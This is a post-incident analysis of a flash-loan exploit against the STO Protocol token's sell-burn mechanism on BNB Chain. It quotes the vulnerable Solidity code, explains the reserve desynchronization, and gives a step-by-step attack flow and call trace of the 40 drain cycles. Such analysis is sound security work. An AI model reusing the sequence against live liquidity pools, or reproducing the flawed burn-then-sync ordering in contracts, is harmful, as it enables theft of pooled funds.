STO Protocol Deflationary Sell-Burn Drain

On February 23, 2026, the STO Protocol token on BNB Chain was exploited via a logic error in its deflationary sell-burn mechanism. The STO token’s _executePendingSellBurn() function burns previously sold tokens from the PancakeSwap pair and calls sync() to update reserves mid-transfer, allowing an attacker to manipulate the AMM price curve within a single transaction. The attacker flash-loaned 360,894 WBNB and executed 40 repeated sell cycles, each compounding the drain by exploiting the reserve desynchronization. The total profit was approximately 26.57 BNB (~$16.1K), extracted from the STO/WBNB PancakeSwap V2 liquidity pool.

Root Cause

Vulnerable Contract

  • Name: STO Protocol (STO)
  • Address: 0xfe33eb082b2374ecd9fb550f833db88cad8d084b
  • Proxy: No
  • Source type: Verified (Solidity 0.8.20, from BscScan)

Vulnerable Function

  • Function: _executePendingSellBurn()
  • Selector: N/A (private function, called internally from _update)
  • File: contracts/STO.sol

The vulnerability manifests via the interaction between _update() (the ERC-20 transfer hook) and _executePendingSellBurn(). The flaw is in the ordering of operations within _update() when to == pancakePair.

Vulnerable Code

// STO.sol -- verified source
function _update(
    address from,
    address to,
    uint256 amount
) internal virtual override {
    // ... (daily burn and whitelist checks omitted) ...

    if (to == pancakePair) {
        require(sellEnabled || isWhitelisted[from], "Sell not enabled");

        if (_isAddingLiquidity()) {
            require(isWhitelisted[from], "Only whitelist can add liquidity");
            super._update(from, to, amount);
            return;
        }

        if (pendingBurnFromSell > 0) {
            _executePendingSellBurn();    // <-- VULNERABILITY: burns pair tokens and syncs reserves BEFORE current transfer
        }

        uint256 tax = amount * TAX_RATE / BASIS_POINTS;
        uint256 afterTax = amount - tax;

        super._update(from, ecosystemWallet, tax);
        super._update(from, to, afterTax);    // actual transfer to pair happens AFTER burn+sync

        if (!burningStopped && burnEnabled) {
            pendingBurnFromSell += afterTax;  // accumulate for next sell's burn
            emit SellBurn(from, afterTax);
        }
        return;
    }
    // ...
}

function _executePendingSellBurn() private {
    uint256 pairBalance = balanceOf(pancakePair);
    uint256 toBurn = pendingBurnFromSell;

    uint256 minReserve = 1000 * 1e18;
    if (pairBalance > toBurn + minReserve) {
        pendingBurnFromSell = 0;
        super._update(pancakePair, DEAD, toBurn);  // <-- VULNERABILITY: burns STO from pair
        IPancakePair(pancakePair).sync();           // <-- VULNERABILITY: updates pair reserves to reflect reduced STO balance
    }
}

Why It’s Vulnerable

Expected behavior: The deflationary burn mechanism should burn sold tokens from the pair at some point after the sale, reducing circulating supply over time. The sync() call should correctly update pair reserves. In normal usage with infrequent sells, this creates gradual deflation.

Actual behavior: The _executePendingSellBurn() is called at the START of every sell transfer (line 226-228), BEFORE the current transfer’s tokens are added to the pair. This creates a critical ordering issue:

  1. Pair reserves are at (R_STO, R_WBNB) based on last sync()
  2. Attacker calls STO.transfer(pair, amount)
  3. Inside _update: _executePendingSellBurn() fires – burns pendingBurnFromSell tokens from the pair and calls sync(). Pair reserves drop to (R_STO - burned, R_WBNB).
  4. Inside _update: afterTax STO tokens are transferred to the pair. Pair’s actual STO balance = (R_STO - burned + afterTax).
  5. Attacker calls pair.swap(). PancakeSwap calculates the “input” as: currentBalance - reserve = (R_STO - burned + afterTax) - (R_STO - burned) = afterTax. This is correct for a single cycle…
  6. …BUT the pendingBurnFromSell accumulated in step 4 will burn afterTax from the pair on the NEXT sell, creating a compounding drain.

Why this matters: In each sell cycle, the attacker transfers X STO to the pair, but the burn+sync from the PREVIOUS cycle artificially lowered the STO reserves. Over 40 iterations, this compounds: each burn reduces STO reserves further, making each subsequent WBNB output larger relative to the STO input. The attacker drains progressively more WBNB per cycle because the STO/WBNB price ratio shifts in their favor after each burn+sync.

Normal flow vs Attack flow:

StepNormal (single sell)Attack (40 repeated sells)
Sell 1Transfer STO to pair, get WBNB. pendingBurnFromSell set.Same as normal.
Sell 2Burns previous sell’s tokens from pair, syncs. Transfer STO, get WBNB.Burns previous tokens, syncs (reserves drop). Transfer STO, get MORE WBNB due to lower reserves. New pendingBurnFromSell accumulates.
Sell NN/A (normal users don’t sell 40 times in one tx)Compound effect: each burn+sync lowers STO reserves further, each swap extracts more WBNB. After 40 cycles, ~26.57 BNB of excess WBNB is extracted.

Attack Execution

High-Level Flow

  1. Attacker EOA (0x622d...) deploys main contract, which creates a sub-contract (0xc2b3...).
  2. Sub-contract calls work() which flash-loans 360,894 WBNB from Moolah (0x8f73...).
  3. Inside the flash loan callback, sub-contract sets up approvals and sends 0.0001 WBNB to the STO/WBNB pair as initial liquidity padding.
  4. Sub-contract unwraps 0.1 WBNB to BNB and sends 0.1 BNB to the STO FeeHandler (0x4cc4...), triggering the FeeHandler to buy STO and add liquidity.
  5. Sub-contract claims dividends from the STO DividendTracker (0x5261...), receiving ~461 STO.
  6. Sub-contract removes liquidity from the pair via PancakeSwap Router, receiving STO and WBNB.
  7. Sub-contract sends excess WBNB to the pair (to restore initial WBNB balance), then calls STO.approve() and STO.initializeLiquidity(1 STO) with 1 wei – this mints tiny LP tokens and establishes the attacker as a participant.
  8. Sub-contract swaps its remaining WBNB balance for STO via PancakeSwap Router (swapExactTokensForTokensSupportingFeeOnTransferTokens).
  9. Sub-contract executes 40 sell cycles: in each cycle, it calls getAmountsOut() to calculate expected WBNB output, then STO.transfer(pair, amount) (triggers _executePendingSellBurn + sync), then pair.swap() to extract WBNB. Each cycle’s burn reduces pair STO reserves, making the next swap more profitable.
  10. Sub-contract unwraps WBNB, repays the flash loan, and sends ~26.57 BNB profit to the attacker EOA.

Detailed Call Trace

The trace tree below is derived exclusively from trace_callTracer.json. Selectors verified with cast sig.

EOA (0x622d...dba7)
  CREATE -> AttackerMain (0x8e61...fcfd)
    CREATE -> AttackerSub (0xc2b3...e0ea)
    CALL AttackerSub.work() [0x322e9f04]
      STATICCALL WBNB.balanceOf(FlashLoanProvider) [0x70a08231]
      CALL FlashLoanProvider(0x8f73...).flashLoan(WBNB, 360894.644 WBNB, "") [0xe0232b42]
        DELEGATECALL Implementation(0x3160...).flashLoan() [0xe0232b42]
          CALL WBNB.transfer(AttackerSub, 360894.644 WBNB) [0xa9059cbb]
          CALL AttackerSub.onMoolahFlashLoan(360894.644, "") [0x13a1a562]
            -- Setup phase --
            CALL WBNB.approve(FlashLoanProvider, 360894.644 WBNB) [0x095ea7b3]
            CALL WBNB.approve(PancakeRouter, 360894.644 WBNB) [0x095ea7b3]
            CALL STO.approve(PancakeRouter, MAX_UINT) [0x095ea7b3]
            CALL WBNB.transfer(Pair, 0.0001 WBNB) [0xa9059cbb]
            CALL WBNB.withdraw(0.1 WBNB) [0x2e1a7d4d]
            CALL FeeHandler{value: 0.1 BNB}() -- triggers fee distribution
              CALL PancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens() [0xb6f9de95]
                CALL Pair.swap() [0x022c0d9f] -- buys STO for FeeHandler
              CALL PancakeRouter.addLiquidityETH() [0xf305d719]
                CALL Pair.mint() [0x6a627842]
              CALL STO.transfer(feeRecipient, 17.39 STO) [0xa9059cbb]
            CALL DividendTracker.claim() [0x4e71d92d]
              CALL STO.transfer(AttackerSub, 461.67 STO) [0xa9059cbb]
            CALL CakeLP.approve(PancakeRouter, MAX_UINT) [0x095ea7b3]
            STATICCALL CakeLP.balanceOf(AttackerSub) [0x70a08231]
            CALL PancakeRouter.removeLiquidity(STO, WBNB, lpAmount, ...) [0xbaa2abde]
              CALL Pair.burn(Router) [0x89afcb44]
            -- Prepare sell cycles --
            STATICCALL WBNB.balanceOf(Pair) [0x70a08231]
            CALL WBNB.transfer(Pair, excessWBNB) [0xa9059cbb]  -- restore pair WBNB
            CALL STO.approve(STO, 1) [0x095ea7b3]
            CALL STO.initializeLiquidity{value: 1 wei}(1 STO) [0x2298e8d3]
              CALL PancakeRouter.addLiquidityETH() [0xf305d719]
                CALL Pair.mint() [0x6a627842]
            -- Swap WBNB to STO --
            STATICCALL WBNB.balanceOf(AttackerSub) [0x70a08231]
            CALL PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(WBNB->STO) [0x5c11d795]
              CALL Pair.swap() [0x022c0d9f]
            -- 40x sell cycle loop (i=0..39) --
            STATICCALL STO.balanceOf(AttackerSub) [0x70a08231]
            [For each cycle:]
              STATICCALL PancakeRouter.getAmountsOut(sellAmount, [STO, WBNB]) [0xd06ca61f]
                STATICCALL Pair.getReserves() [0x0902f1ac]
              CALL STO.transfer(Pair, sellAmount) [0xa9059cbb]
                [Inside STO._update, when to==pair:]
                  _executePendingSellBurn():
                    super._update(Pair, DEAD, pendingBurnFromSell)  -- burns STO from pair
                    CALL Pair.sync() [0xfff6cae9]  -- reserves drop
                  super._update(from, ecosystemWallet, tax)  -- 6% tax
                  super._update(from, Pair, afterTax)  -- actual STO to pair
              CALL Pair.swap(wbnbOut, 0, AttackerSub, "") [0x022c0d9f]
                CALL WBNB.transfer(AttackerSub, wbnbOut) [0xa9059cbb]
            -- Cleanup --
            STATICCALL WBNB.balanceOf(AttackerSub) [0x70a08231]
            CALL WBNB.withdraw(allWBNB) [0x2e1a7d4d]
            send 26.57 BNB -> EOA (0x622d...)
          -- Flash loan repayment --
          CALL WBNB.transferFrom(AttackerSub, FlashLoanProvider, 360894.644 WBNB) [0x23b872dd]

Financial Impact

Primary evidence source: funds_flow.json

  • Attacker profit: 26.571 BNB (~$16,100 at ~$606/BNB)
  • Gas cost: 0.00022 BNB (negligible)
  • Net profit: ~26.57 BNB

Who lost funds: The STO/WBNB PancakeSwap V2 liquidity pool (0x7c40...bd00):

  • Lost 26.61 WBNB (net WBNB decrease)
  • Lost 7,684,346 STO tokens (burned to dead address, representing the vast majority of the pair’s STO reserves)

Net balance changes (from funds_flow.json):

AddressAssetNet Change
Attacker Sub (0xc2b3...)WBNB+26.67 WBNB
STO/WBNB Pair (0x7c40...)WBNB-26.61 WBNB
STO/WBNB Pair (0x7c40...)STO-7,684,346 STO
Dead address (0xdead)STO+6,771,157 STO
Ecosystem wallet (0xe7e6...)STO+913,631 STO
Flash Loan Provider (0x8f73...)WBNB0 (repaid in full)

Protocol solvency impact: The STO/WBNB pair was effectively drained of nearly all STO liquidity. The pair had approximately 7.7M STO before the attack; after the attack, the pair lost 7.68M STO (burned to dead), leaving minimal STO reserves. The pool’s total value locked was only ~$5,650 pre-attack, making it a low-liquidity target.

Evidence

Transaction: 0x8ba17bea937f062743ef85b1f1f22504d79b2499dece96ccb6171aae5a54020c

  • Block: 82890987
  • Timestamp: 2026-02-23 11:39:14 UTC
  • Status: Success
  • Gas used: 4,191,332

Key selector verification (via cast sig):

  • work() = 0x322e9f04
  • flashLoan(address,uint256,bytes) = 0xe0232b42
  • onMoolahFlashLoan(uint256,bytes) = 0x13a1a562
  • initializeLiquidity(uint256) = 0x2298e8d3
  • sync() = 0xfff6cae9
  • swap(uint256,uint256,address,bytes) = 0x022c0d9f

Trace statistics:

  • swap() calls on pair: 42 (2 from FeeHandler setup + 40 from attack loop)
  • sync() calls on pair: 39 (triggered by _executePendingSellBurn during sell transfers; first sell has no pending burn so no sync)
  • getReserves() calls: 46
  • transfer() calls: 92

Flash loan provider: Moolah Finance pool at 0x8f73b65b4caaf64fba2af91cc5d4a2a1318e5d8c (EIP-1967 proxy, implementation 0x31603984ff1c95dd079a9479410cb0fa1695e316). Callback selector onMoolahFlashLoan(uint256,bytes) = 0x13a1a562.

Attacker addresses:

  • EOA: 0x622ddba7ddf86d573504a1d6021258884e601c42
  • Main contract: 0x8e6149b4a6ab28db7d4b1e8261bd71364307fcfd (deployed in this tx, self-destructs)
  • Sub-contract: 0xc2b3613cc32f40c64dd56f7e089ddbcb3ee7e0ea (deployed in this tx, orchestrates the attack)